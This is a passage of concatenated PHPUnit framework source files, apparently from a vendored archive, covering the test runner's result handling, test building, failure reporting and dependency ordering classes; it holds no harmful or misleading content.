Gets the number of skipped tests. */ public function skippedCount(): int { return count($this->skipped); } /** * Returns an array of TestFailure objects for the skipped tests. * * @return TestFailure[] */ public function skipped(): array { return $this->skipped; } /** * Gets the number of detected errors. */ public function errorCount(): int { return count($this->errors); } /** * Returns an array of TestFailure objects for the errors. * * @return TestFailure[] */ public function errors(): array { return $this->errors; } /** * Gets the number of detected failures. */ public function failureCount(): int { return count($this->failures); } /** * Returns an array of TestFailure objects for the failures. * * @return TestFailure[] */ public function failures(): array { return $this->failures; } /** * Gets the number of detected warnings. */ public function warningCount(): int { return count($this->warnings); } /** * Returns an array of TestFailure objects for the warnings. * * @return TestFailure[] */ public function warnings(): array { return $this->warnings; } /** * Returns the names of the tests that have passed. */ public function passed(): array { return $this->passed; } /** * Returns the names of the TestSuites that have passed. * * This enables @depends-annotations for TestClassName::class */ public function passedClasses(): array { return $this->passedTestClasses; } /** * Returns whether code coverage information should be collected. */ public function getCollectCodeCoverageInformation(): bool { return $this->codeCoverage !== null; } /** * Runs a TestCase. * * @throws \SebastianBergmann\CodeCoverage\InvalidArgumentException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws CodeCoverageException * @throws UnintentionallyCoveredCodeException */ public function run(Test $test): void { Assert::resetCount(); $size = TestUtil::UNKNOWN; if ($test instanceof TestCase) { $test->setRegisterMockObjectsFromTestArgumentsRecursively( $this->registerMockObjectsFromTestArgumentsRecursively ); $isAnyCoverageRequired = TestUtil::requiresCodeCoverageDataCollection($test); $size = $test->getSize(); } $error = false; $failure = false; $warning = false; $incomplete = false; $risky = false; $skipped = false; $this->startTest($test); if ($this->convertDeprecationsToExceptions || $this->convertErrorsToExceptions || $this->convertNoticesToExceptions || $this->convertWarningsToExceptions) { $errorHandler = new ErrorHandler( $this->convertDeprecationsToExceptions, $this->convertErrorsToExceptions, $this->convertNoticesToExceptions, $this->convertWarningsToExceptions ); $errorHandler->register(); } $collectCodeCoverage = $this->codeCoverage !== null && !$test instanceof ErrorTestCase && !$test instanceof WarningTestCase && $isAnyCoverageRequired; if ($collectCodeCoverage) { $this->codeCoverage->start($test); } $monitorFunctions = $this->beStrictAboutResourceUsageDuringSmallTests && !$test instanceof ErrorTestCase && !$test instanceof WarningTestCase && $size === TestUtil::SMALL && function_exists('xdebug_start_function_monitor'); if ($monitorFunctions) { /* @noinspection ForgottenDebugOutputInspection */ xdebug_start_function_monitor(ResourceOperations::getFunctions()); } $timer = new Timer; $timer->start(); try { $invoker = new Invoker; if (!$test instanceof ErrorTestCase && !$test instanceof WarningTestCase && $this->shouldTimeLimitBeEnforced($size) && $invoker->canInvokeWithTimeout()) { switch ($size) { case TestUtil::SMALL: $_timeout = $this->timeoutForSmallTests; break; case TestUtil::MEDIUM: $_timeout = $this->timeoutForMediumTests; break; case TestUtil::LARGE: $_timeout = $this->timeoutForLargeTests; break; default: $_timeout = $this->defaultTimeLimit; } $invoker->invoke([$test, 'runBare'], [], $_timeout); } else { $test->runBare(); } } catch (TimeoutException $e) { $this->addFailure( $test, new RiskyTestError( $e->getMessage() ), $_timeout ); $risky = true; } catch (AssertionFailedError $e) { $failure = true; if ($e instanceof RiskyTestError) { $risky = true; } elseif ($e instanceof IncompleteTestError) { $incomplete = true; } elseif ($e instanceof SkippedTestError) { $skipped = true; } } catch (AssertionError $e) { $test->addToAssertionCount(1); $failure = true; $frame = $e->getTrace()[0]; $e = new AssertionFailedError( sprintf( '%s in %s:%s', $e->getMessage(), $frame['file'] ?? $e->getFile(), $frame['line'] ?? $e->getLine() ) ); } catch (Warning $e) { $warning = true; } catch (Exception $e) { $error = true; } catch (Throwable $e) { $e = new ExceptionWrapper($e); $error = true; } $time = $timer->stop()->asSeconds(); $test->addToAssertionCount(Assert::getCount()); if ($monitorFunctions) { $excludeList = new ExcludeList; /** @noinspection ForgottenDebugOutputInspection */ $functions = xdebug_get_monitored_functions(); /* @noinspection ForgottenDebugOutputInspection */ xdebug_stop_function_monitor(); foreach ($functions as $function) { if (!$excludeList->isExcluded($function['filename'])) { $this->addFailure( $test, new RiskyTestError( sprintf( '%s() used in %s:%s', $function['function'], $function['filename'], $function['lineno'] ) ), $time ); } } } if ($this->beStrictAboutTestsThatDoNotTestAnything && $test->getNumAssertions() === 0) { $risky = true; } if ($this->forceCoversAnnotation && !$error && !$failure && !$warning && !$incomplete && !$skipped && !$risky) { $annotations = TestUtil::parseTestMethodAnnotations( get_class($test), $test->getName(false) ); if (!isset($annotations['class']['covers']) && !isset($annotations['method']['covers']) && !isset($annotations['class']['coversNothing']) && !isset($annotations['method']['coversNothing'])) { $this->addFailure( $test, new MissingCoversAnnotationException( 'This test does not have a @covers annotation but is expected to have one' ), $time ); $risky = true; } } if ($collectCodeCoverage) { $append = !$risky && !$incomplete && !$skipped; $linesToBeCovered = []; $linesToBeUsed = []; if ($append && $test instanceof TestCase) { try { $linesToBeCovered = TestUtil::getLinesToBeCovered( get_class($test), $test->getName(false) ); $linesToBeUsed = TestUtil::getLinesToBeUsed( get_class($test), $test->getName(false) ); } catch (InvalidCoversTargetException $cce) { $this->addWarning( $test, new Warning( $cce->getMessage() ), $time ); } } try { $this->codeCoverage->stop( $append, $linesToBeCovered, $linesToBeUsed ); } catch (UnintentionallyCoveredCodeException $cce) { $unintentionallyCoveredCodeError = new UnintentionallyCoveredCodeError( 'This test executed code that is not listed as code to be covered or used:' . PHP_EOL . $cce->getMessage() ); } catch (OriginalCodeCoverageException $cce) { $error = true; $e = $e ?? $cce; } } if (isset($errorHandler)) { $errorHandler->unregister(); unset($errorHandler); } if ($error) { $this->addError($test, $e, $time); } elseif ($failure) { $this->addFailure($test, $e, $time); } elseif ($warning) { $this->addWarning($test, $e, $time); } elseif (isset($unintentionallyCoveredCodeError)) { $this->addFailure( $test, $unintentionallyCoveredCodeError, $time ); } elseif ($this->beStrictAboutTestsThatDoNotTestAnything && !$test->doesNotPerformAssertions() && $test->getNumAssertions() === 0) { try { $reflected = new ReflectionClass($test); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd $name = $test->getName(false); if ($name && $reflected->hasMethod($name)) { try { $reflected = $reflected->getMethod($name); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } $this->addFailure( $test, new RiskyTestError( sprintf( "This test did not perform any assertions\n\n%s:%d", $reflected->getFileName(), $reflected->getStartLine() ) ), $time ); } elseif ($this->beStrictAboutTestsThatDoNotTestAnything && $test->doesNotPerformAssertions() && $test->getNumAssertions() > 0) { $this->addFailure( $test, new RiskyTestError( sprintf( 'This test is annotated with "@doesNotPerformAssertions" but performed %d assertions', $test->getNumAssertions() ) ), $time ); } elseif ($this->beStrictAboutOutputDuringTests && $test->hasOutput()) { $this->addFailure( $test, new OutputError( sprintf( 'This test printed output: %s', $test->getActualOutput() ) ), $time ); } elseif ($this->beStrictAboutTodoAnnotatedTests && $test instanceof TestCase) { $annotations = TestUtil::parseTestMethodAnnotations( get_class($test), $test->getName(false) ); if (isset($annotations['method']['todo'])) { $this->addFailure( $test, new RiskyTestError( 'Test method is annotated with @todo' ), $time ); } } $this->endTest($test, $time); } /** * Gets the number of run tests. */ public function count(): int { return $this->runTests; } /** * Checks whether the test run should stop. */ public function shouldStop(): bool { return $this->stop; } /** * Marks that the test run should stop. */ public function stop(): void { $this->stop = true; } /** * Returns the code coverage object. */ public function getCodeCoverage(): ?CodeCoverage { return $this->codeCoverage; } /** * Sets the code coverage object. */ public function setCodeCoverage(CodeCoverage $codeCoverage): void { $this->codeCoverage = $codeCoverage; } /** * Enables or disables the deprecation-to-exception conversion. */ public function convertDeprecationsToExceptions(bool $flag): void { $this->convertDeprecationsToExceptions = $flag; } /** * Returns the deprecation-to-exception conversion setting. */ public function getConvertDeprecationsToExceptions(): bool { return $this->convertDeprecationsToExceptions; } /** * Enables or disables the error-to-exception conversion. */ public function convertErrorsToExceptions(bool $flag): void { $this->convertErrorsToExceptions = $flag; } /** * Returns the error-to-exception conversion setting. */ public function getConvertErrorsToExceptions(): bool { return $this->convertErrorsToExceptions; } /** * Enables or disables the notice-to-exception conversion. */ public function convertNoticesToExceptions(bool $flag): void { $this->convertNoticesToExceptions = $flag; } /** * Returns the notice-to-exception conversion setting. */ public function getConvertNoticesToExceptions(): bool { return $this->convertNoticesToExceptions; } /** * Enables or disables the warning-to-exception conversion. */ public function convertWarningsToExceptions(bool $flag): void { $this->convertWarningsToExceptions = $flag; } /** * Returns the warning-to-exception conversion setting. */ public function getConvertWarningsToExceptions(): bool { return $this->convertWarningsToExceptions; } /** * Enables or disables the stopping when an error occurs. */ public function stopOnError(bool $flag): void { $this->stopOnError = $flag; } /** * Enables or disables the stopping when a failure occurs. */ public function stopOnFailure(bool $flag): void { $this->stopOnFailure = $flag; } /** * Enables or disables the stopping when a warning occurs. */ public function stopOnWarning(bool $flag): void { $this->stopOnWarning = $flag; } public function beStrictAboutTestsThatDoNotTestAnything(bool $flag): void { $this->beStrictAboutTestsThatDoNotTestAnything = $flag; } public function isStrictAboutTestsThatDoNotTestAnything(): bool { return $this->beStrictAboutTestsThatDoNotTestAnything; } public function beStrictAboutOutputDuringTests(bool $flag): void { $this->beStrictAboutOutputDuringTests = $flag; } public function isStrictAboutOutputDuringTests(): bool { return $this->beStrictAboutOutputDuringTests; } public function beStrictAboutResourceUsageDuringSmallTests(bool $flag): void { $this->beStrictAboutResourceUsageDuringSmallTests = $flag; } public function isStrictAboutResourceUsageDuringSmallTests(): bool { return $this->beStrictAboutResourceUsageDuringSmallTests; } public function enforceTimeLimit(bool $flag): void { $this->enforceTimeLimit = $flag; } public function enforcesTimeLimit(): bool { return $this->enforceTimeLimit; } public function beStrictAboutTodoAnnotatedTests(bool $flag): void { $this->beStrictAboutTodoAnnotatedTests = $flag; } public function isStrictAboutTodoAnnotatedTests(): bool { return $this->beStrictAboutTodoAnnotatedTests; } public function forceCoversAnnotation(): void { $this->forceCoversAnnotation = true; } public function forcesCoversAnnotation(): bool { return $this->forceCoversAnnotation; } /** * Enables or disables the stopping for risky tests. */ public function stopOnRisky(bool $flag): void { $this->stopOnRisky = $flag; } /** * Enables or disables the stopping for incomplete tests. */ public function stopOnIncomplete(bool $flag): void { $this->stopOnIncomplete = $flag; } /** * Enables or disables the stopping for skipped tests. */ public function stopOnSkipped(bool $flag): void { $this->stopOnSkipped = $flag; } /** * Enables or disables the stopping for defects: error, failure, warning. */ public function stopOnDefect(bool $flag): void { $this->stopOnDefect = $flag; } /** * Returns the time spent running the tests. */ public function time(): float { return $this->time; } /** * Returns whether the entire test was successful or not. */ public function wasSuccessful(): bool { return $this->wasSuccessfulIgnoringWarnings() && empty($this->warnings); } public function wasSuccessfulIgnoringWarnings(): bool { return empty($this->errors) && empty($this->failures); } public function wasSuccessfulAndNoTestIsRiskyOrSkippedOrIncomplete(): bool { return $this->wasSuccessful() && $this->allHarmless() && $this->allCompletelyImplemented() && $this->noneSkipped(); } /** * Sets the default timeout for tests. */ public function setDefaultTimeLimit(int $timeout): void { $this->defaultTimeLimit = $timeout; } /** * Sets the timeout for small tests. */ public function setTimeoutForSmallTests(int $timeout): void { $this->timeoutForSmallTests = $timeout; } /** * Sets the timeout for medium tests. */ public function setTimeoutForMediumTests(int $timeout): void { $this->timeoutForMediumTests = $timeout; } /** * Sets the timeout for large tests. */ public function setTimeoutForLargeTests(int $timeout): void { $this->timeoutForLargeTests = $timeout; } /** * Returns the set timeout for large tests. */ public function getTimeoutForLargeTests(): int { return $this->timeoutForLargeTests; } public function setRegisterMockObjectsFromTestArgumentsRecursively(bool $flag): void { $this->registerMockObjectsFromTestArgumentsRecursively = $flag; } private function recordError(Test $test, Throwable $t): void { $this->errors[] = new TestFailure($test, $t); } private function recordNotImplemented(Test $test, Throwable $t): void { $this->notImplemented[] = new TestFailure($test, $t); } private function recordRisky(Test $test, Throwable $t): void { $this->risky[] = new TestFailure($test, $t); } private function recordSkipped(Test $test, Throwable $t): void { $this->skipped[] = new TestFailure($test, $t); } private function recordWarning(Test $test, Throwable $t): void { $this->warnings[] = new TestFailure($test, $t); } private function shouldTimeLimitBeEnforced(int $size): bool { if (!$this->enforceTimeLimit) { return false; } if (!(($this->defaultTimeLimit || $size !== TestUtil::UNKNOWN))) { return false; } if (!extension_loaded('pcntl')) { return false; } if (!class_exists(Invoker::class)) { return false; } if (extension_loaded('xdebug') && xdebug_is_debugger_active()) { return false; } return true; } } res/readability/vendor/phpunit/phpunit/src/Framework/InvalidParameterGroupException.php000064400000000675147577714370025717 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvalidParameterGroupException extends Exception { } res/readability/vendor/phpunit/phpunit/src/Framework/Reorderable.php000064400000001210147577714370022004 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Reorderable { public function sortId(): string; /** * @return list */ public function provides(): array; /** * @return list */ public function requires(): array; } res/readability/vendor/phpunit/phpunit/src/Framework/TestListener.php000064400000002614147577714370022214 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use Throwable; /** * This interface, as well as the associated mechanism for extending PHPUnit, * will be removed in PHPUnit 10. There is no alternative available in this * version of PHPUnit. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @deprecated * @see https://github.com/sebastianbergmann/phpunit/issues/4676 */ interface TestListener { public function addError(Test $test, Throwable $t, float $time): void; public function addWarning(Test $test, Warning $e, float $time): void; public function addFailure(Test $test, AssertionFailedError $e, float $time): void; public function addIncompleteTest(Test $test, Throwable $t, float $time): void; public function addRiskyTest(Test $test, Throwable $t, float $time): void; public function addSkippedTest(Test $test, Throwable $t, float $time): void; public function startTestSuite(TestSuite $suite): void; public function endTestSuite(TestSuite $suite): void; public function startTest(Test $test): void; public function endTest(Test $test, float $time): void; } res/readability/vendor/phpunit/phpunit/src/Framework/SelfDescribing.php000064400000001007147577714370022445 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface SelfDescribing { /** * Returns a string representation of the object. */ public function toString(): string; } res/readability/vendor/phpunit/phpunit/src/Framework/TestBuilder.php000064400000015714147577714370022022 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function assert; use function count; use function get_class; use function sprintf; use function trim; use PHPUnit\Util\Filter; use PHPUnit\Util\InvalidDataSetException; use PHPUnit\Util\Test as TestUtil; use ReflectionClass; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestBuilder { public function build(ReflectionClass $theClass, string $methodName): Test { $className = $theClass->getName(); if (!$theClass->isInstantiable()) { return new ErrorTestCase( sprintf('Cannot instantiate class "%s".', $className) ); } $backupSettings = TestUtil::getBackupSettings( $className, $methodName ); $preserveGlobalState = TestUtil::getPreserveGlobalStateSettings( $className, $methodName ); $runTestInSeparateProcess = TestUtil::getProcessIsolationSettings( $className, $methodName ); $runClassInSeparateProcess = TestUtil::getClassProcessIsolationSettings( $className, $methodName ); $constructor = $theClass->getConstructor(); if ($constructor === null) { throw new Exception('No valid test provided.'); } $parameters = $constructor->getParameters(); // TestCase() or TestCase($name) if (count($parameters) < 2) { $test = $this->buildTestWithoutData($className); } // TestCase($name, $data) else { try { $data = TestUtil::getProvidedData( $className, $methodName ); } catch (IncompleteTestError $e) { $message = sprintf( "Test for %s::%s marked incomplete by data provider\n%s", $className, $methodName, $this->throwableToString($e) ); $data = new IncompleteTestCase($className, $methodName, $message); } catch (SkippedTestError $e) { $message = sprintf( "Test for %s::%s skipped by data provider\n%s", $className, $methodName, $this->throwableToString($e) ); $data = new SkippedTestCase($className, $methodName, $message); } catch (Throwable $t) { $message = sprintf( "The data provider specified for %s::%s is invalid.\n%s", $className, $methodName, $this->throwableToString($t) ); $data = new ErrorTestCase($message); } // Test method with @dataProvider. if (isset($data)) { $test = $this->buildDataProviderTestSuite( $methodName, $className, $data, $runTestInSeparateProcess, $preserveGlobalState, $runClassInSeparateProcess, $backupSettings ); } else { $test = $this->buildTestWithoutData($className); } } if ($test instanceof TestCase) { $test->setName($methodName); $this->configureTestCase( $test, $runTestInSeparateProcess, $preserveGlobalState, $runClassInSeparateProcess, $backupSettings ); } return $test; } /** @psalm-param class-string $className */ private function buildTestWithoutData(string $className) { return new $className; } /** @psalm-param class-string $className */ private function buildDataProviderTestSuite( string $methodName, string $className, $data, bool $runTestInSeparateProcess, ?bool $preserveGlobalState, bool $runClassInSeparateProcess, array $backupSettings ): DataProviderTestSuite { $dataProviderTestSuite = new DataProviderTestSuite( $className . '::' . $methodName ); $groups = TestUtil::getGroups($className, $methodName); if ($data instanceof ErrorTestCase || $data instanceof SkippedTestCase || $data instanceof IncompleteTestCase) { $dataProviderTestSuite->addTest($data, $groups); } else { foreach ($data as $_dataName => $_data) { $_test = new $className($methodName, $_data, $_dataName); assert($_test instanceof TestCase); $this->configureTestCase( $_test, $runTestInSeparateProcess, $preserveGlobalState, $runClassInSeparateProcess, $backupSettings ); $dataProviderTestSuite->addTest($_test, $groups); } } return $dataProviderTestSuite; } private function configureTestCase( TestCase $test, bool $runTestInSeparateProcess, ?bool $preserveGlobalState, bool $runClassInSeparateProcess, array $backupSettings ): void { if ($runTestInSeparateProcess) { $test->setRunTestInSeparateProcess(true); if ($preserveGlobalState !== null) { $test->setPreserveGlobalState($preserveGlobalState); } } if ($runClassInSeparateProcess) { $test->setRunClassInSeparateProcess(true); if ($preserveGlobalState !== null) { $test->setPreserveGlobalState($preserveGlobalState); } } if ($backupSettings['backupGlobals'] !== null) { $test->setBackupGlobals($backupSettings['backupGlobals']); } if ($backupSettings['backupStaticAttributes'] !== null) { $test->setBackupStaticAttributes( $backupSettings['backupStaticAttributes'] ); } } private function throwableToString(Throwable $t): string { $message = $t->getMessage(); if (empty(trim($message))) { $message = ''; } if ($t instanceof InvalidDataSetException) { return sprintf( "%s\n%s", $message, Filter::getFilteredStacktrace($t) ); } return sprintf( "%s: %s\n%s", get_class($t), $message, Filter::getFilteredStacktrace($t) ); } } res/readability/vendor/phpunit/phpunit/src/Framework/TestListenerDefaultImplementation.php000064400000002476147577714370026435 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use Throwable; /** * @deprecated The `TestListener` interface is deprecated * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ trait TestListenerDefaultImplementation { public function addError(Test $test, Throwable $t, float $time): void { } public function addWarning(Test $test, Warning $e, float $time): void { } public function addFailure(Test $test, AssertionFailedError $e, float $time): void { } public function addIncompleteTest(Test $test, Throwable $t, float $time): void { } public function addRiskyTest(Test $test, Throwable $t, float $time): void { } public function addSkippedTest(Test $test, Throwable $t, float $time): void { } public function startTestSuite(TestSuite $suite): void { } public function endTestSuite(TestSuite $suite): void { } public function startTest(Test $test): void { } public function endTest(Test $test, float $time): void { } } res/readability/vendor/phpunit/phpunit/src/Framework/WarningTestCase.php000064400000002376147577714370022635 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class WarningTestCase extends TestCase { /** * @var bool */ protected $backupGlobals = false; /** * @var bool */ protected $backupStaticAttributes = false; /** * @var bool */ protected $runTestInSeparateProcess = false; /** * @var string */ private $message; public function __construct(string $message = '') { $this->message = $message; parent::__construct('Warning'); } public function getMessage(): string { return $this->message; } /** * Returns a string representation of the test case. */ public function toString(): string { return 'Warning'; } /** * @throws Exception * * @psalm-return never-return */ protected function runTest(): void { throw new Warning($this->message); } } res/readability/vendor/phpunit/phpunit/src/Framework/TestFailure.php000064400000007035147577714370022020 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function get_class; use function sprintf; use function trim; use PHPUnit\Framework\Error\Error; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestFailure { /** * @var null|Test */ private $failedTest; /** * @var Throwable */ private $thrownException; /** * @var string */ private $testName; /** * Returns a description for an exception. */ public static function exceptionToString(Throwable $e): string { if ($e instanceof SelfDescribing) { $buffer = $e->toString(); if ($e instanceof ExpectationFailedException && $e->getComparisonFailure()) { $buffer .= $e->getComparisonFailure()->getDiff(); } if ($e instanceof PHPTAssertionFailedError) { $buffer .= $e->getDiff(); } if (!empty($buffer)) { $buffer = trim($buffer) . "\n"; } return $buffer; } if ($e instanceof Error) { return $e->getMessage() . "\n"; } if ($e instanceof ExceptionWrapper) { return $e->getClassName() . ': ' . $e->getMessage() . "\n"; } return get_class($e) . ': ' . $e->getMessage() . "\n"; } /** * Constructs a TestFailure with the given test and exception. */ public function __construct(Test $failedTest, Throwable $t) { if ($failedTest instanceof SelfDescribing) { $this->testName = $failedTest->toString(); } else { $this->testName = get_class($failedTest); } if (!$failedTest instanceof TestCase || !$failedTest->isInIsolation()) { $this->failedTest = $failedTest; } $this->thrownException = $t; } /** * Returns a short description of the failure. */ public function toString(): string { return sprintf( '%s: %s', $this->testName, $this->thrownException->getMessage() ); } /** * Returns a description for the thrown exception. */ public function getExceptionAsString(): string { return self::exceptionToString($this->thrownException); } /** * Returns the name of the failing test (including data set, if any). */ public function getTestName(): string { return $this->testName; } /** * Returns the failing test. * * Note: The test object is not set when the test is executed in process * isolation. * * @see Exception */ public function failedTest(): ?Test { return $this->failedTest; } /** * Gets the thrown exception. */ public function thrownException(): Throwable { return $this->thrownException; } /** * Returns the exception's message. */ public function exceptionMessage(): string { return $this->thrownException()->getMessage(); } /** * Returns true if the thrown exception * is of type AssertionFailedError. */ public function isFailure(): bool { return $this->thrownException() instanceof AssertionFailedError; } } res/readability/vendor/phpunit/phpunit/src/Framework/ExecutionOrderDependency.php000064400000012017147577714370024523 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function array_filter; use function array_map; use function array_values; use function count; use function explode; use function in_array; use function strpos; use function trim; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ExecutionOrderDependency { /** * @var string */ private $className = ''; /** * @var string */ private $methodName = ''; /** * @var bool */ private $useShallowClone = false; /** * @var bool */ private $useDeepClone = false; public static function createFromDependsAnnotation(string $className, string $annotation): self { // Split clone option and target $parts = explode(' ', trim($annotation), 2); if (count($parts) === 1) { $cloneOption = ''; $target = $parts[0]; } else { $cloneOption = $parts[0]; $target = $parts[1]; } // Prefix provided class for targets assumed to be in scope if ($target !== '' && strpos($target, '::') === false) { $target = $className . '::' . $target; } return new self($target, null, $cloneOption); } /** * @psalm-param list $dependencies * * @psalm-return list */ public static function filterInvalid(array $dependencies): array { return array_values( array_filter( $dependencies, static function (self $d) { return $d->isValid(); } ) ); } /** * @psalm-param list $existing * @psalm-param list $additional * * @psalm-return list */ public static function mergeUnique(array $existing, array $additional): array { $existingTargets = array_map( static function ($dependency) { return $dependency->getTarget(); }, $existing ); foreach ($additional as $dependency) { if (in_array($dependency->getTarget(), $existingTargets, true)) { continue; } $existingTargets[] = $dependency->getTarget(); $existing[] = $dependency; } return $existing; } /** * @psalm-param list $left * @psalm-param list $right * * @psalm-return list */ public static function diff(array $left, array $right): array { if ($right === []) { return $left; } if ($left === []) { return []; } $diff = []; $rightTargets = array_map( static function ($dependency) { return $dependency->getTarget(); }, $right ); foreach ($left as $dependency) { if (in_array($dependency->getTarget(), $rightTargets, true)) { continue; } $diff[] = $dependency; } return $diff; } public function __construct(string $classOrCallableName, ?string $methodName = null, ?string $option = null) { if ($classOrCallableName === '') { return; } if (strpos($classOrCallableName, '::') !== false) { [$this->className, $this->methodName] = explode('::', $classOrCallableName); } else { $this->className = $classOrCallableName; $this->methodName = !empty($methodName) ? $methodName : 'class'; } if ($option === 'clone') { $this->useDeepClone = true; } elseif ($option === 'shallowClone') { $this->useShallowClone = true; } } public function __toString(): string { return $this->getTarget(); } public function isValid(): bool { // Invalid dependencies can be declared and are skipped by the runner return $this->className !== '' && $this->methodName !== ''; } public function useShallowClone(): bool { return $this->useShallowClone; } public function useDeepClone(): bool { return $this->useDeepClone; } public function targetIsClass(): bool { return $this->methodName === 'class'; } public function getTarget(): string { return $this->isValid() ? $this->className . '::' . $this->methodName : ''; } public function getTargetClassName(): string { return $this->className; } } res/readability/vendor/phpunit/phpunit/src/Framework/ExceptionWrapper.php000064400000006225147577714370023070 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function array_keys; use function get_class; use function spl_object_hash; use PHPUnit\Util\Filter; use Throwable; /** * Wraps Exceptions thrown by code under test. * * Re-instantiates Exceptions thrown by user-space code to retain their original * class names, properties, and stack traces (but without arguments). * * Unlike PHPUnit\Framework\Exception, the complete stack of previous Exceptions * is processed. * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ExceptionWrapper extends Exception { /** * @var string */ protected $className; /** * @var null|ExceptionWrapper */ protected $previous; public function __construct(Throwable $t) { // PDOException::getCode() is a string. // @see https://php.net/manual/en/class.pdoexception.php#95812 parent::__construct($t->getMessage(), (int) $t->getCode()); $this->setOriginalException($t); } public function __toString(): string { $string = TestFailure::exceptionToString($this); if ($trace = Filter::getFilteredStacktrace($this)) { $string .= "\n" . $trace; } if ($this->previous) { $string .= "\nCaused by\n" . $this->previous; } return $string; } public function getClassName(): string { return $this->className; } public function getPreviousWrapped(): ?self { return $this->previous; } public function setClassName(string $className): void { $this->className = $className; } public function setOriginalException(Throwable $t): void { $this->originalException($t); $this->className = get_class($t); $this->file = $t->getFile(); $this->line = $t->getLine(); $this->serializableTrace = $t->getTrace(); foreach (array_keys($this->serializableTrace) as $key) { unset($this->serializableTrace[$key]['args']); } if ($t->getPrevious()) { $this->previous = new self($t->getPrevious()); } } public function getOriginalException(): ?Throwable { return $this->originalException(); } /** * Method to contain static originalException to exclude it from stacktrace to prevent the stacktrace contents, * which can be quite big, from being garbage-collected, thus blocking memory until shutdown. * * Approach works both for var_dump() and var_export() and print_r(). */ private function originalException(Throwable $exceptionToStore = null): ?Throwable { static $originalExceptions; $instanceId = spl_object_hash($this); if ($exceptionToStore) { $originalExceptions[$instanceId] = $exceptionToStore; } return $originalExceptions[$instanceId] ?? null; } } res/readability/vendor/phpunit/phpunit/src/Framework/ErrorTestCase.php000064400000002366147577714370022320 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ErrorTestCase extends TestCase { /** * @var bool */ protected $backupGlobals = false; /** * @var bool */ protected $backupStaticAttributes = false; /** * @var bool */ protected $runTestInSeparateProcess = false; /** * @var string */ private $message; public function __construct(string $message = '') { $this->message = $message; parent::__construct('Error'); } public function getMessage(): string { return $this->message; } /** * Returns a string representation of the test case. */ public function toString(): string { return 'Error'; } /** * @throws Exception * * @psalm-return never-return */ protected function runTest(): void { throw new Error($this->message); } } res/readability/vendor/phpunit/phpunit/src/Framework/TestCase.php000064400000232136147577714370021306 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use const LC_ALL; use const LC_COLLATE; use const LC_CTYPE; use const LC_MONETARY; use const LC_NUMERIC; use const LC_TIME; use const PATHINFO_FILENAME; use const PHP_EOL; use const PHP_URL_PATH; use function array_filter; use function array_flip; use function array_keys; use function array_merge; use function array_pop; use function array_search; use function array_unique; use function array_values; use function basename; use function call_user_func; use function chdir; use function class_exists; use function clearstatcache; use function count; use function debug_backtrace; use function defined; use function explode; use function get_class; use function get_include_path; use function getcwd; use function implode; use function in_array; use function ini_set; use function is_array; use function is_callable; use function is_int; use function is_object; use function is_string; use function libxml_clear_errors; use function method_exists; use function ob_end_clean; use function ob_get_contents; use function ob_get_level; use function ob_start; use function parse_url; use function pathinfo; use function preg_replace; use function serialize; use function setlocale; use function sprintf; use function strpos; use function substr; use function trim; use function var_export; use DeepCopy\DeepCopy; use PHPUnit\Framework\Constraint\Exception as ExceptionConstraint; use PHPUnit\Framework\Constraint\ExceptionCode; use PHPUnit\Framework\Constraint\ExceptionMessage; use PHPUnit\Framework\Constraint\ExceptionMessageRegularExpression; use PHPUnit\Framework\Constraint\LogicalOr; use PHPUnit\Framework\Error\Deprecated; use PHPUnit\Framework\Error\Error; use PHPUnit\Framework\Error\Notice; use PHPUnit\Framework\Error\Warning as WarningError; use PHPUnit\Framework\MockObject\Generator as MockGenerator; use PHPUnit\Framework\MockObject\MockBuilder; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\MockObject\Rule\AnyInvokedCount as AnyInvokedCountMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedAtIndex as InvokedAtIndexMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedAtLeastCount as InvokedAtLeastCountMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedAtLeastOnce as InvokedAtLeastOnceMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedAtMostCount as InvokedAtMostCountMatcher; use PHPUnit\Framework\MockObject\Rule\InvokedCount as InvokedCountMatcher; use PHPUnit\Framework\MockObject\Stub; use PHPUnit\Framework\MockObject\Stub\ConsecutiveCalls as ConsecutiveCallsStub; use 